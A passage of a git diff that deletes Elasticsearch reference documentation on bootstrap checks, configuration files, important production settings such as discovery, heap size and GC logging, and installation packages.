-JDK versions, the configuration defaults to the CMS collector.
-
-=== System call filter check
-Elasticsearch installs system call filters of various flavors depending
-on the operating system (e.g., seccomp on Linux). These system call
-filters are installed to prevent the ability to execute system calls
-related to forking as a defense mechanism against arbitrary code
-execution attacks on Elasticsearch. The system call filter check ensures
-that if system call filters are enabled, then they were successfully
-installed. To pass the system call filter check you must either fix any
-configuration errors on your system that prevented system call filters
-from installing (check your logs), or *at your own risk* disable system
-call filters by setting `bootstrap.system_call_filter` to `false`.
-
-=== OnError and OnOutOfMemoryError checks
-
-The JVM options `OnError` and `OnOutOfMemoryError` enable executing
-arbitrary commands if the JVM encounters a fatal error (`OnError`) or an
-`OutOfMemoryError` (`OnOutOfMemoryError`). However, by default,
-Elasticsearch system call filters (seccomp) are enabled and these
-filters prevent forking. Thus, using `OnError` or `OnOutOfMemoryError`
-and system call filters are incompatible. The `OnError` and
-`OnOutOfMemoryError` checks prevent Elasticsearch from starting if
-either of these JVM options are used and system call filters are
-enabled. This check is always enforced. To pass this check do not enable
-`OnError` nor `OnOutOfMemoryError`; instead, upgrade to Java 8u92 and
-use the JVM flag `ExitOnOutOfMemoryError`. While this does not have the
-full capabilities of `OnError` nor `OnOutOfMemoryError`, arbitrary
-forking will not be supported with seccomp enabled.
-
-=== Early-access check
-
-The OpenJDK project provides early-access snapshots of upcoming releases. These
-releases are not suitable for production. The early-access check detects these
-early-access snapshots. To pass this check, you must start Elasticsearch on a
-release build of the JVM.
-
-=== G1GC check
-
-Early versions of the HotSpot JVM that shipped with JDK 8 are known to
-have issues that can lead to index corruption when the G1GC collector is
-enabled.  The versions impacted are those earlier than the version of
-HotSpot that shipped with JDK 8u40. The G1GC check detects these early
-versions of the HotSpot JVM.
-
-=== All permission check
-
-The all permission check ensures that the security policy used during bootstrap
-does not grant the `java.security.AllPermission` to Elasticsearch. Running with
-the all permission granted is equivalent to disabling the security manager.
-
-=== Discovery configuration check
-
-By default, when Elasticsearch first starts up it will try and discover other
-nodes running on the same host. If no elected master can be discovered within a
-few seconds then Elasticsearch will form a cluster that includes any other
-nodes that were discovered. It is useful to be able to form this cluster
-without any extra configuration in development mode, but this is unsuitable for
-production because it's possible to form multiple clusters and lose data as a
-result.
-
-This bootstrap check ensures that discovery is not running with the default
-configuration. It can be satisfied by setting at least one of the following
-properties:
-
-- `discovery.seed_hosts`
-- `discovery.seed_providers`
-- `cluster.initial_master_nodes`
diff --git a/docs/reference/setup/configuration.asciidoc b/docs/reference/setup/configuration.asciidoc
deleted file mode 100644
index f0e5c1518aa..00000000000
--- a/docs/reference/setup/configuration.asciidoc
+++ /dev/null
@@ -1,150 +0,0 @@
-[[settings]]
-== Configuring Elasticsearch
-
-Elasticsearch ships with good defaults and requires very little configuration.
-Most settings can be changed on a running cluster using the
-<<cluster-update-settings>> API.
-
-The configuration files should contain settings which are node-specific (such
-as `node.name` and paths), or settings which a node requires in order to be
-able to join a cluster, such as `cluster.name` and `network.host`.
-
-[[config-files-location]]
-[discrete]
-=== Config files location
-
-Elasticsearch has three configuration files:
-
-* `elasticsearch.yml` for configuring Elasticsearch
-* `jvm.options` for configuring Elasticsearch JVM settings
-* `log4j2.properties` for configuring Elasticsearch logging
-
-These files are located in the config directory, whose default location depends
-on whether or not the installation is from an archive distribution (`tar.gz` or
-`zip`) or a package distribution (Debian or RPM packages).
-
-For the archive distributions, the config directory location defaults to
-`$ES_HOME/config`. The location of the config directory can be changed via the
-`ES_PATH_CONF` environment variable as follows:
-
-[source,sh]
--------------------------------
-ES_PATH_CONF=/path/to/my/config ./bin/elasticsearch
--------------------------------
-
-Alternatively, you can `export` the `ES_PATH_CONF` environment variable via the
-command line or via your shell profile.
-
-For the package distributions, the config directory location defaults to
-`/etc/elasticsearch`. The location of the config directory can also be changed
-via the `ES_PATH_CONF` environment variable, but note that setting this in your
-shell is not sufficient. Instead, this variable is sourced from
-`/etc/default/elasticsearch` (for the Debian package) and
-`/etc/sysconfig/elasticsearch` (for the RPM package). You will need to edit the
-`ES_PATH_CONF=/etc/elasticsearch` entry in one of these files accordingly to
-change the config directory location.
-
-
-[discrete]
-=== Config file format
-
-The configuration format is https://yaml.org/[YAML]. Here is an
-example of changing the path of the data and logs directories:
-
-[source,yaml]
---------------------------------------------------
-path:
-    data: /var/lib/elasticsearch
-    logs: /var/log/elasticsearch
---------------------------------------------------
-
-Settings can also be flattened as follows:
-
-[source,yaml]
---------------------------------------------------
-path.data: /var/lib/elasticsearch
-path.logs: /var/log/elasticsearch
---------------------------------------------------
-
-In YAML, you can format non-scalar values as sequences:
-
-[source,yaml]
-----
-discovery.seed_hosts:
-   - 192.168.1.10:9300
-   - 192.168.1.11
-   - seeds.mydomain.com
-----
-
-Though less common, you can also format non-scalar values as arrays:
-
-[source,yaml]
-----
-discovery.seed_hosts: ["192.168.1.10:9300", "192.168.1.11", "seeds.mydomain.com"]
-----
-
-[discrete]
-=== Environment variable substitution
-
-Environment variables referenced with the `${...}` notation within the
-configuration file will be replaced with the value of the environment
-variable. For example:
-
-[source,yaml]
---------------------------------------------------
-node.name:    ${HOSTNAME}
-network.host: ${ES_NETWORK_HOST}
---------------------------------------------------
-
-Values for environment variables must be simple strings. Use a comma-separated string to provide values that Elasticsearch will parse as a list. For example, Elasticsearch will split the following string into a list of values for the `${HOSTNAME}` environment variable:
-
-[source,yaml]
-----
-export HOSTNAME=“host1,host2"
-----
-
-[discrete]
-[[cluster-setting-types]]
-=== Cluster and node setting types
-
-Cluster and node settings can be categorized based on how they are configured:
-
-[[dynamic-cluster-setting]]
-Dynamic::
-+
---
-You can configure and update dynamic settings on a running cluster using the
-<<cluster-update-settings,cluster update settings API>>. You can also configure
-dynamic settings locally on an unstarted or shut down node using
-`elasticsearch.yml`.
-
-Updates made using the cluster update settings API can be _persistent_, which
-apply across cluster restarts, or _transient_, which reset after a cluster
-restart. You can also reset transient or persistent settings by assigning them
-a `null` value using the API.
-
-If you configure the same setting using multiple methods, {es} applies the
-settings in following order of precedence:
-
-1. Transient setting
-2. Persistent setting
-3. `elasticsearch.yml` setting
-4. Default setting value
-
-For example, you can apply a transient setting to override a persistent setting
-or `elasticsearch.yml` setting. However, a change to an `elasticsearch.yml`
-setting will not override a defined transient or persistent setting.
-
-TIP: It’s best to set dynamic, cluster-wide settings with the cluster update
-settings API and use `elasticsearch.yml` only for local configurations. Using
-the cluster update settings API ensures the setting is the same on all nodes. If
-you accidentally configure different settings in `elasticsearch.yml` on
-different nodes, it can be difficult to notice discrepancies.
---
-
-[[static-cluster-setting]]
-Static::
-Static settings can only be configured on an unstarted or shut down node using
-`elasticsearch.yml`.
-+
-Static settings must be set on every relevant node in the cluster.
diff --git a/docs/reference/setup/images/elas_0202.png b/docs/reference/setup/images/elas_0202.png
deleted file mode 100644
index 36b31cc3781..00000000000
Binary files a/docs/reference/setup/images/elas_0202.png and /dev/null differ
diff --git a/docs/reference/setup/images/elas_0204.png b/docs/reference/setup/images/elas_0204.png
deleted file mode 100644
index 788d46e09f2..00000000000
Binary files a/docs/reference/setup/images/elas_0204.png and /dev/null differ
diff --git a/docs/reference/setup/important-settings.asciidoc b/docs/reference/setup/important-settings.asciidoc
deleted file mode 100644
index d19d857e1be..00000000000
--- a/docs/reference/setup/important-settings.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
-[[important-settings]]
-== Important Elasticsearch configuration
-
-{es} requires very little configuration to get started, but there are a number
-of items which *must* be considered before using your cluster in production:
-
-* <<path-settings,Path settings>>
-* <<cluster-name,Cluster name setting>>
-* <<node-name,Node name setting>>
-* <<network.host,Network host settings>>
-* <<discovery-settings,Discovery settings>>
-* <<heap-size,Heap size settings>>
-* <<heap-dump-path,JVM heap dump path setting>>
-* <<gc-logging,GC logging settings>>
-* <<es-tmpdir,Temporary directory settings>>
-* <<error-file-path,JVM fatal error log setting>>
-* <<important-settings-backups,Cluster backups>>
-
-Our {ess-trial}[{ecloud}] service configures these items automatically, making
-your cluster production-ready by default.
-
-include::important-settings/path-settings.asciidoc[]
-
-include::important-settings/cluster-name.asciidoc[]
-
-include::important-settings/node-name.asciidoc[]
-
-include::important-settings/network-host.asciidoc[]
-
-include::important-settings/discovery-settings.asciidoc[]
-
-include::important-settings/heap-size.asciidoc[]
-
-include::important-settings/heap-dump-path.asciidoc[]
-
-include::important-settings/gc-logging.asciidoc[]
-
-include::important-settings/es-tmpdir.asciidoc[]
-
-include::important-settings/error-file.asciidoc[]
-
-include::important-settings/snapshot.asciidoc[]
diff --git a/docs/reference/setup/important-settings/cluster-name.asciidoc b/docs/reference/setup/important-settings/cluster-name.asciidoc
deleted file mode 100644
index a4e711a3088..00000000000
--- a/docs/reference/setup/important-settings/cluster-name.asciidoc
+++ /dev/null
@@ -1,15 +0,0 @@
-[[cluster-name]]
-[discrete]
-=== Cluster name setting
-
-A node can only join a cluster when it shares its `cluster.name` with all the
-other nodes in the cluster. The default name is `elasticsearch`, but you should
-change it to an appropriate name that describes the purpose of the cluster.
-
-[source,yaml]
---------------------------------------------------
-cluster.name: logging-prod
---------------------------------------------------
-
-IMPORTANT: Do not reuse the same cluster names in different environments.
-Otherwise, nodes might join the wrong cluster.
diff --git a/docs/reference/setup/important-settings/discovery-settings.asciidoc b/docs/reference/setup/important-settings/discovery-settings.asciidoc
deleted file mode 100644
index b2bec4cc637..00000000000
--- a/docs/reference/setup/important-settings/discovery-settings.asciidoc
+++ /dev/null
@@ -1,87 +0,0 @@
-[[discovery-settings]]
-[discrete]
-=== Discovery and cluster formation settings
-
-Configure two important discovery and cluster formation settings before going
-to production so that nodes in the cluster can discover each other and elect a
-master node.
-
-[discrete]
-[[unicast.hosts]]
-==== `discovery.seed_hosts`
-
-Out of the box, without any network configuration, {es} will bind to
-the available loopback addresses and scan local ports `9300` to `9305` to
-connect with other nodes running on the same server. This behavior provides an
-auto-clustering experience without having to do any configuration.
-
-When you want to form a cluster with nodes on other hosts, use the
-<<static-cluster-setting, static>> `discovery.seed_hosts` setting. This setting
-provides a list of other nodes in the cluster
-that are master-eligible and likely to be live and contactable to seed
-the <<modules-discovery-hosts-providers,discovery process>>. This setting
-accepts a YAML sequence or array of the addresses of all the master-eligible
-nodes in the cluster. Each address can be either an IP address or a hostname
-that resolves to one or more IP addresses via DNS.
-
-[source,yaml]
-----
-discovery.seed_hosts:
-   - 192.168.1.10:9300
-   - 192.168.1.11 <1>
-   - seeds.mydomain.com <2>
-   - [0:0:0:0:0:ffff:c0a8:10c]:9301 <3>
-----
-<1> The port is optional and defaults to `9300`, but can
-    be <<built-in-hosts-providers,overridden>>.
-<2> If a hostname resolves to multiple IP addresses, the node will attempt to
-    discover other nodes at all resolved addresses.
-<3> IPv6 addresses must be enclosed in square brackets.
-
-If your master-eligible nodes do not have fixed names or addresses, use an
-<<built-in-hosts-providers,alternative hosts provider>> to find their addresses
-dynamically.
-
-[discrete]
-[[initial_master_nodes]]
-==== `cluster.initial_master_nodes`
-
-When you start an {es} cluster for the first time, a
-<<modules-discovery-bootstrap-cluster,cluster bootstrapping>> step
-determines the set of master-eligible nodes whose votes are counted in the
-first election. In <<dev-vs-prod-mode,development mode>>, with no discovery
-settings configured, this step is performed automatically by the nodes
-themselves.
-
-Because auto-bootstrapping is <<modules-discovery-quorums,inherently
-unsafe>>, when starting a new cluster in production
-mode, you must explicitly list the master-eligible nodes whose votes should be
-counted in the very first election. You set this list using the
-`cluster.initial_master_nodes` setting.
-
-IMPORTANT: After the cluster forms successfully for the first time, remove the `cluster.initial_master_nodes` setting from each nodes'
-configuration. Do not use this setting when
-restarting a cluster or adding a new node to an existing cluster.
-
-[source,yaml]
---------------------------------------------------
-discovery.seed_hosts:
-   - 192.168.1.10:9300
-   - 192.168.1.11
-   - seeds.mydomain.com
-   - [0:0:0:0:0:ffff:c0a8:10c]:9301
-cluster.initial_master_nodes: <1>
-   - master-node-a
-   - master-node-b
-   - master-node-c
---------------------------------------------------
-<1> Identify the initial master nodes by their <<node-name,`node.name`>>, which
-defaults to their hostname. Ensure that the value in
-`cluster.initial_master_nodes` matches the `node.name` exactly. If you use a
-fully-qualified domain name (FQDN) such as `master-node-a.example.com` for your
-node names, then you must use the FQDN in this list. Conversely, if `node.name`
-is a bare hostname without any trailing qualifiers, you must also omit the
-trailing qualifiers in `cluster.initial_master_nodes`.
-
-See <<modules-discovery-bootstrap-cluster,bootstrapping a cluster>> and
-<<modules-discovery-settings,discovery and cluster formation settings>>.
diff --git a/docs/reference/setup/important-settings/error-file.asciidoc b/docs/reference/setup/important-settings/error-file.asciidoc
deleted file mode 100644
index 1f0c8c00ce9..00000000000
--- a/docs/reference/setup/important-settings/error-file.asciidoc
+++ /dev/null
@@ -1,12 +0,0 @@
-[[error-file-path]]
-[discrete]
-=== JVM fatal error log setting
-
-By default, {es} configures the JVM to write fatal error logs
-to the default logging directory. On <<rpm,RPM>> and <<deb,Debian>> packages,
-this directory is `/var/log/elasticsearch`. On <<targz,Linux and MacOS>> and <<zip-windows,Windows>> distributions, the `logs`
-directory is located under the root of the {es} installation.
-
-These are logs produced by the JVM when it encounters a fatal error, such as a
-segmentation fault. If this path is not suitable for receiving logs,
-modify the `-XX:ErrorFile=...` entry in <<jvm-options,`jvm.options`>>.
diff --git a/docs/reference/setup/important-settings/es-tmpdir.asciidoc b/docs/reference/setup/important-settings/es-tmpdir.asciidoc
deleted file mode 100644
index 99a100a9367..00000000000
--- a/docs/reference/setup/important-settings/es-tmpdir.asciidoc
+++ /dev/null
@@ -1,25 +0,0 @@
-[[es-tmpdir]]
-[discrete]
-=== Temporary directory settings
-
-By default, {es} uses a private temporary directory that the startup
-script creates immediately below the system temporary directory.
-
-On some Linux distributions, a system utility will clean files and directories
-from `/tmp` if they have not been recently accessed. This behavior can lead to
-the private temporary directory being removed while {es} is running if
-features that require the temporary directory are not used for a long time.
-Removing the private temporary directory causes problems if a feature that
-requires this directory is subsequently used.
-
-If you install {es} using the `.deb` or `.rpm` packages and run it
-under `systemd`, the private temporary directory that {es} uses
-is excluded from periodic cleanup.
-
-If you intend to run the `.tar.gz` distribution on Linux or MacOS for
-an extended period, consider creating a dedicated temporary
-directory for {es} that is not under a path that will have old files
-and directories cleaned from it. This directory should have permissions set
-so that only the user that {es} runs as can access it. Then, set the
-`$ES_TMPDIR` environment variable to point to this directory before starting
-{es}.
diff --git a/docs/reference/setup/important-settings/gc-logging.asciidoc b/docs/reference/setup/important-settings/gc-logging.asciidoc
deleted file mode 100644
index 6bba17401b6..00000000000
--- a/docs/reference/setup/important-settings/gc-logging.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
-[[gc-logging]]
-[discrete]
-=== GC logging settings
-
-By default, {es} enables garbage collection (GC) logs. These are configured in
-<<jvm-options,`jvm.options`>> and output to the same default location as
-the {es} logs. The default configuration rotates the logs every 64 MB and
-can consume up to 2 GB of disk space.
-
-You can reconfigure JVM logging using the command line options described in
-https://openjdk.java.net/jeps/158[JEP 158: Unified JVM Logging]. Unless you
-change the default `jvm.options` file directly, the {es} default
-configuration is applied in addition to your own settings. To disable the
-default configuration, first disable logging by supplying the
-`-Xlog:disable` option, then supply your own command line options. This
-disables __all__ JVM logging, so be sure to review the available options
-and enable everything that you require.
-
-To see further options not contained in the original JEP, see
-https://docs.oracle.com/en/java/javase/13/docs/specs/man/java.html#enable-logging-with-the-jvm-unified-logging-framework[Enable
-Logging with the JVM Unified Logging Framework].
-
-[[gc-logging-examples]]
-[discrete]
-==== Examples
-
-Change the default GC log output location to `/opt/my-app/gc.log` by
-  creating `$ES_HOME/config/jvm.options.d/gc.options` with some sample
-  options:
-
-[source,shell]
-----
-# Turn off all previous logging configuratons
--Xlog:disable
-
-# Default settings from JEP 158, but with `utctime` instead of `uptime` to match the next line
--Xlog:all=warning:stderr:utctime,level,tags
-
-# Enable GC logging to a custom location with a variety of options
--Xlog:gc*,gc+age=trace,safepoint:file=/opt/my-app/gc.log:utctime,pid,tags:filecount=32,filesize=64m
-----
-
-Configure an {es} <<docker,Docker container>> to send GC debug logs to
-  standard error (`stderr`). This lets the container orchestrator
-  handle the output. If using the `ES_JAVA_OPTS` environment variable,
-  specify:
-
-[source,sh]
-----
-MY_OPTS="-Xlog:disable -Xlog:all=warning:stderr:utctime,level,tags -Xlog:gc=debug:stderr:utctime"
-docker run -e ES_JAVA_OPTS="$MY_OPTS" # etc
-----
diff --git a/docs/reference/setup/important-settings/heap-dump-path.asciidoc b/docs/reference/setup/important-settings/heap-dump-path.asciidoc
deleted file mode 100644
index 343deb0983b..00000000000
--- a/docs/reference/setup/important-settings/heap-dump-path.asciidoc
+++ /dev/null
@@ -1,18 +0,0 @@
-[[heap-dump-path]]
-[discrete]
-=== JVM heap dump path setting
-
-By default, {es} configures the JVM to dump the heap on out of
-memory exceptions to the default data directory. On <<rpm,RPM>> and
-<<deb,Debian>> packages, the data directory is `/var/lib/elasticsearch`. On
-<<targz,Linux and MacOS>> and <<zip-windows,Windows>> distributions,
-the `data` directory is located under the root of the {es} installation.
-
-If this path is not suitable for receiving heap dumps, modify the
-`-XX:HeapDumpPath=...` entry in <<jvm-options,`jvm.options`>>:
-
-* If you specify a directory, the JVM will generate a filename for the heap
-dump based on the PID of the running instance.
-* If you specify a fixed filename instead of a directory, the file must
-not exist when the JVM needs to perform a heap dump on an out of memory
-exception. Otherwise, the heap dump will fail.
diff --git a/docs/reference/setup/important-settings/heap-size.asciidoc b/docs/reference/setup/important-settings/heap-size.asciidoc
deleted file mode 100644
index a603105c76c..00000000000
--- a/docs/reference/setup/important-settings/heap-size.asciidoc
+++ /dev/null
@@ -1,87 +0,0 @@
-[[heap-size-settings]]
-[discrete]
-=== Heap size settings
-
-By default, {es} tells the JVM to use a heap with a minimum and maximum
-size of 1 GB. When moving to production, it is important to configure heap size
-to ensure that {es} has enough heap available.
-
-{es} will assign the entire heap specified in
-<<jvm-options,jvm.options>> via the `Xms` (minimum heap size) and `Xmx` (maximum
-heap size) settings. These two settings must be equal to each other.
-
-The value for these settings depends on the amount of RAM available on your
-server:
-
-* Set `Xmx` and `Xms` to no more than 50% of your physical RAM. {es} requires
-  memory for purposes other than the JVM heap and it is important to leave
-  space for this. For instance, {es} uses off-heap buffers for efficient
-  network communication, relies on the operating system's filesystem cache for
-  efficient access to files, and the JVM itself requires some memory too. It is
-  normal to observe the {es} process using more memory than the limit
-  configured with the `Xmx` setting.
-
-* Set `Xmx` and `Xms` to no more than the threshold that the JVM uses for
-  compressed object pointers (compressed oops). The exact threshold varies but
-  is near 32 GB. You can verify that you are under the threshold by looking for a line in the logs like the following:
-+
-[source,txt]
-----
-heap size [1.9gb], compressed ordinary object pointers [true]
-----
-
-* Set `Xmx` and `Xms` to no more than the threshold for zero-based
-  compressed oops. The exact threshold varies but 26 GB is safe on most
-  systems and can be as large as 30 GB on some systems. You can verify that
-  you are under this threshold by starting {es} with the JVM options
-  `-XX:+UnlockDiagnosticVMOptions -XX:+PrintCompressedOopsMode` and looking for
-  a line like the following:
-+
-[source,txt]
-----
-heap address: 0x000000011be00000, size: 27648 MB, zero based Compressed Oops
-----
-+
-This line shows that zero-based compressed oops are enabled. If zero-based
-compressed oops are not enabled, you'll see a line like the following instead:
-+
-[source,txt]
-----
-heap address: 0x0000000118400000, size: 28672 MB, Compressed Oops with base: 0x00000001183ff000
-----
-
-The more heap available to {es}, the more memory it can use for its internal
-caches, but the less memory it leaves available for the operating system to use
-for the filesystem cache. Also, larger heaps can cause longer garbage
-collection pauses.
-
-Here is an example of how to set the heap size via a `jvm.options.d/` file:
-
-[source,txt]
-------------------
--Xms2g <1>
--Xmx2g <2>
-------------------
-<1> Set the minimum heap size to 2g.
-<2> Set the maximum heap size to 2g.
-
-Using `jvm.options.d` is the preferred method for configuring the heap size for
-production deployments.
-
-It is also possible to set the heap size via the `ES_JAVA_OPTS` environment
-variable. This is generally discouraged for production deployments but is useful
-for testing because it overrides all other means of setting JVM options.
-
-[source,sh]
-------------------
-ES_JAVA_OPTS="-Xms2g -Xmx2g" ./bin/elasticsearch <1>
-ES_JAVA_OPTS="-Xms4000m -Xmx4000m" ./bin/elasticsearch <2>
-------------------
-<1> Set the minimum and maximum heap size to 2 GB.
-<2> Set the minimum and maximum heap size to 4000 MB.
-
-NOTE: Configuring the heap for the <<windows-service,Windows service>> is
-different than the above. The values initially populated for the Windows
-service can be configured as above but are different after the service has been
-installed. Consult the <<windows-service,Windows service documentation>> for
-additional details.
diff --git a/docs/reference/setup/important-settings/network-host.asciidoc b/docs/reference/setup/important-settings/network-host.asciidoc
deleted file mode 100644
index 55d5138e1b8..00000000000
--- a/docs/reference/setup/important-settings/network-host.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-[[network.host]]
-[discrete]
-=== Network host setting
-
-By default, {es} binds to loopback addresses only such as `127.0.0.1`
-and `[::1]`. This binding is sufficient to run a single development node on a
-server.
-
-TIP: more than one node can be started from the same `$ES_HOME`
-location on a single node. This setup can be useful for testing {es}'s
-ability to form clusters, but it is not a configuration recommended for
-production.
-
-To form a cluster with nodes on other servers, your
-node will need to bind to a non-loopback address. While there are many
-<<modules-network,network settings>>, usually all you need to configure is
-`network.host`:
-
-[source,yaml]
---------------------------------------------------
-network.host: 192.168.1.10
---------------------------------------------------
-
-The `network.host` setting also understands some special values such as
-`_local_`, `_site_`, `_global_` and modifiers like `:ip4` and `:ip6`. See
-<<network-interface-values>>.
-
-IMPORTANT: When you provide a custom setting for `network.host`,
-{es} assumes that you are moving from development mode to production
-mode, and upgrades a number of system startup checks from warnings to
-exceptions. See the differences between <<dev-vs-prod,development and production modes>>.
diff --git a/docs/reference/setup/important-settings/node-name.asciidoc b/docs/reference/setup/important-settings/node-name.asciidoc
deleted file mode 100644
index e50027ae2eb..00000000000
--- a/docs/reference/setup/important-settings/node-name.asciidoc
+++ /dev/null
@@ -1,14 +0,0 @@
-[[node-name]]
-[discrete]
-=== Node name setting
-
-{es} uses `node.name` as a human-readable identifier for a
-particular instance of {es}. This name is included in the response
-of many APIs. The node name defaults to the hostname of the machine when
-{es} starts, but can be configured explicitly in
-`elasticsearch.yml`:
-
-[source,yaml]
---------------------------------------------------
-node.name: prod-data-2
---------------------------------------------------
diff --git a/docs/reference/setup/important-settings/path-settings.asciidoc b/docs/reference/setup/important-settings/path-settings.asciidoc
deleted file mode 100644
index 49e6edb356b..00000000000
--- a/docs/reference/setup/important-settings/path-settings.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
-[[path-settings]]
-[discrete]
-=== Path settings
-
-For <<targz,macOS `.tar.gz`>>, <<targz,Linux `.tar.gz`>>, and
-<<zip-windows,Windows `.zip`>> installations, {es} writes data and logs to the
-respective `data` and `logs` subdirectories of `$ES_HOME` by default.
-However, files in `$ES_HOME` risk deletion during an upgrade.
-
-In production, we strongly recommend you set the `path.data` and `path.logs` in
-`elasticsearch.yml` to locations outside of `$ES_HOME`.
-
-TIP: <<docker,Docker>>, <<deb,Debian>>, <<rpm,RPM>>, <<brew,macOS Homebrew>>,
-and <<windows,Windows `.msi`>> installations write data and log to locations
-outside of `$ES_HOME` by default.
-
-Supported `path.data` and `path.logs` values vary by platform:
-
-include::{es-repo-dir}/tab-widgets/code.asciidoc[]
-
-include::{es-repo-dir}/tab-widgets/customize-data-log-path-widget.asciidoc[]
-
-If needed, you can specify multiple paths in `path.data`. {es} stores the node's
-data across all provided paths but keeps each shard's data on the same path.
-
-WARNING: {es} does not balance shards across a node's data paths. High disk
-usage in a single path can trigger a <<disk-based-shard-allocation,high disk
-usage watermark>> for the entire node. If triggered, {es} will not add shards to
-the node, even if the node’s other paths have available disk space. If you need
-additional disk space, we recommend you add a new node rather than additional
-data paths. 
-
-include::{es-repo-dir}/tab-widgets/multi-data-path-widget.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/setup/important-settings/snapshot.asciidoc b/docs/reference/setup/important-settings/snapshot.asciidoc
deleted file mode 100644
index cd788d9d272..00000000000
--- a/docs/reference/setup/important-settings/snapshot.asciidoc
+++ /dev/null
@@ -1,9 +0,0 @@
-[[important-settings-backups]]
-[discrete]
-=== Cluster backups
-
-In a disaster, <<snapshot-restore,snapshots>> can prevent permanent data loss.
-<<snapshot-lifecycle-management,{slm-cap}>> is the easiest way to take regular
-backups of your cluster. For more information, see <<backup-cluster>>.
-
-include::../../snapshot-restore/index.asciidoc[tag=backup-warning]
diff --git a/docs/reference/setup/install.asciidoc b/docs/reference/setup/install.asciidoc
deleted file mode 100644
index 1fbce298758..00000000000
--- a/docs/reference/setup/install.asciidoc
+++ /dev/null
@@ -1,94 +0,0 @@
-[[install-elasticsearch]]
-== Installing Elasticsearch
-
-[discrete]
-=== Hosted Elasticsearch
-
-You can run Elasticsearch on your own hardware, or use our
-https://www.elastic.co/cloud/elasticsearch-service[hosted Elasticsearch Service]
-on Elastic Cloud. The Elasticsearch Service is available on both AWS and GCP.
-{ess-trial}[Try out the
-Elasticsearch Service for free].
-
-[discrete]
-=== Installing Elasticsearch Yourself
-
-Elasticsearch is provided in the following package formats:
-
-[horizontal]
-Linux and MacOS `tar.gz` archives::
-
-The `tar.gz` archives are available for installation on any Linux distribution and MacOS.
-+
-<<targz>>
-
-Windows `.zip` archive::
-
-The `zip` archive is suitable for installation on Windows.
-+
-<<zip-windows>>
-
-`deb`::
-
-The `deb` package is suitable for Debian, Ubuntu, and other Debian-based
-systems.  Debian packages may be downloaded from the Elasticsearch website or
-from our Debian repository.
-+
-<<deb>>
-
-`rpm`::
-
-The `rpm` package is suitable for installation on Red Hat, Centos, SLES,
-OpenSuSE and other RPM-based systems.  RPMs may be downloaded from the
-Elasticsearch website or from our RPM repository.
-+
-<<rpm>>
-
-`msi`::
-
-beta[] The `msi` package is suitable for installation on Windows 64-bit systems with at least
-.NET 4.5 framework installed, and is the easiest choice for getting started with
-Elasticsearch on Windows. MSIs may be downloaded from the Elasticsearch website.
-+
-<<windows>>
-
-`docker`::
-
-Images are available for running Elasticsearch as Docker containers. They may be
-downloaded from the Elastic Docker Registry.
-+
-{ref}/docker.html[Install {es} with Docker]
-
-`brew`::
-
-Formulae are available from the Elastic Homebrew tap for installing
-{es} on macOS with the Homebrew package manager.
-+
-{ref}/brew.html[Install {es} on macOS with Homebrew]
-
-[discrete]
-[[config-mgmt-tools]]
-=== Configuration Management Tools
-
-We also provide the following configuration management tools to help with
-large deployments:
-
-[horizontal]
-Puppet:: https://github.com/elastic/puppet-elasticsearch[puppet-elasticsearch]
-Chef::   https://github.com/elastic/cookbook-elasticsearch[cookbook-elasticsearch]
-Ansible:: https://github.com/elastic/ansible-elasticsearch[ansible-elasticsearch]
-
-
-include::install/targz.asciidoc[]
-
-include::install/zip-windows.asciidoc[]
-
-include::install/deb.asciidoc[]
-
-include::install/rpm.asciidoc[]
-
-include::install/windows.asciidoc[]
-
-include::install/docker.asciidoc[]
-
-include::install/brew.asciidoc[]
diff --git a/docs/reference/setup/install/brew.asciidoc b/docs/reference/setup/install/brew.asciidoc
deleted file mode 100644
index cfc9e4c3e05..00000000000
--- a/docs/reference/setup/install/brew.asciidoc
+++ /dev/null
@@ -1,69 +0,0 @@
-[[brew]]
-=== Install {es} on macOS with Homebrew
-
-Elastic publishes Homebrew formulae so you can install {es} with the
-https://brew.sh/[Homebrew] package manager.
-
-To install with Homebrew, you first need to tap the
-Elastic Homebrew repository:
-
-[source,sh]
--------------------------
-brew tap elastic/tap
--------------------------
-
-Once you've tapped the Elastic Homebrew repo, you can use `brew install` to
-install the default distribution of {es}:
-
-[source,sh]
--------------------------
-brew install elastic/tap/elasticsearch-full
--------------------------
-
-This installs the most recently released default distribution of {es}.
-To install the OSS distribution, specify `elastic/tap/elasticsearch-oss`.
-
-[[brew-layout]]
-==== Directory layout for Homebrew installs
-
-When you install {es} with `brew install` the config files, logs,
-and data directory are stored in the following locations.
-
-[cols="<h,<,<m,<m",options="header",]
-|=======================================================================
-| Type | Description | Default Location | Setting
-| home
-  | Elasticsearch home directory or `$ES_HOME`
-  | /usr/local/var/homebrew/linked/elasticsearch-full
- d|
-
-| bin
-  | Binary scripts including `elasticsearch` to start a node
-    and `elasticsearch-plugin` to install plugins
-  | /usr/local/var/homebrew/linked/elasticsearch-full/bin
- d|
-
-| conf
-  | Configuration files including `elasticsearch.yml`
-  | /usr/local/etc/elasticsearch
-  | <<config-files-location,ES_PATH_CONF>>
-
-| data
-  | The location of the data files of each index / shard allocated
-    on the node. Can hold multiple locations.
-  | /usr/local/var/lib/elasticsearch
-  | path.data
-
-| logs
-  | Log files location.
-  | /usr/local/var/log/elasticsearch
-  | path.logs
-
-| plugins
-  | Plugin files location. Each plugin will be contained in a subdirectory.
-  | /usr/local/var/homebrew/linked/elasticsearch/plugins
-  |
-
-|=======================================================================
-
-include::next-steps.asciidoc[]
diff --git a/docs/reference/setup/install/check-running.asciidoc b/docs/reference/setup/install/check-running.asciidoc
deleted file mode 100644
index e25d9f6a35f..00000000000
--- a/docs/reference/setup/install/check-running.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
-==== Checking that Elasticsearch is running
-
-You can test that your Elasticsearch node is running by sending an HTTP
-request to port `9200` on `localhost`:
-
-[source,console]
---------------------------------------------
-GET /
---------------------------------------------
-
-which should give you a response something like this:
-
-["source","js",subs="attributes,callouts"]
---------------------------------------------
-{
-  "name" : "Cp8oag6",
-  "cluster_name" : "elasticsearch",
-  "cluster_uuid" : "AT69_T_DTp-1qgIJlatQqA",
-  "version" : {
-    "number" : "{version_qualified}",
-    "build_flavor" : "{build_flavor}",
-    "build_type" : "{build_type}",
-    "build_hash" : "f27399d",
-    "build_date" : "2016-03-30T09:51:41.449Z",
-    "build_snapshot" : false,
-    "lucene_version" : "{lucene_version}",
